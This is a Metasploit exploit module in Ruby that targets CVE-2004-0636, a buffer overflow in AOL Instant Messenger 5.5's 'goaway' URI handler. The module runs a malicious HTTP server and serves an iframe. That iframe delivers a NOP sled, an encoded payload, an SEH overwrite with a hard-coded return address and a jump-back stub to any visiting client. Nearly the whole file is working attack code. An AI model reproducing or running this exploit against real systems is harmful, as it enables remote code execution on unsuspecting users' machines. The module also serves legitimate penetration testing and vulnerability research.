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## # $Id: aim_goaway.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # # This module acts as an HTTP server and exploits an SEH overwrite # include Msf::Exploit::Seh include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'AOL Instant Messenger goaway Overflow', 'Description'=> %q{ This module exploits a flaw in the handling of AOL Instant Messenger's 'goaway' URI handler.An attacker can execute arbitrary code by supplying a overly sized buffer as the 'message' parameter.This issue is known to affect AOL Instant Messenger 5.5. }, 'License'=> MSF_LICENSE, 'Author' => [ 'skape', 'thief <thief@hick.org>' ], 'Version'=> '$Revision: 9669 $', 'References' => [ [ 'CVE', '2004-0636' ], [ 'OSVDB', '8398'], [ 'BID', '10889'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ], ], 'Payload'=> { 'Space'=> 1014, 'MaxNops'=> 1014, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Targets'=> [ # Target 0: Automatic [ 'Windows NT/2000/XP/2003 Automatic', { 'Platform' => 'win', 'Rets' => [ 0x1108118f, # proto.com: pop/pop/ret ], }, ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 09 2004')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Build out the message msg = make_nops(1014 - p.encoded.length) + # NOP sled before the payload p.encoded +# store the payload generate_seh_record(target['Rets'][0]) + # set up the SEH frame "\x90\xe9\x13\xfc\xff\xff" # jmp -1000 # Build the HTML content content = "<html><iframe src='aim:goaway?message=#{msg}'></html>" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |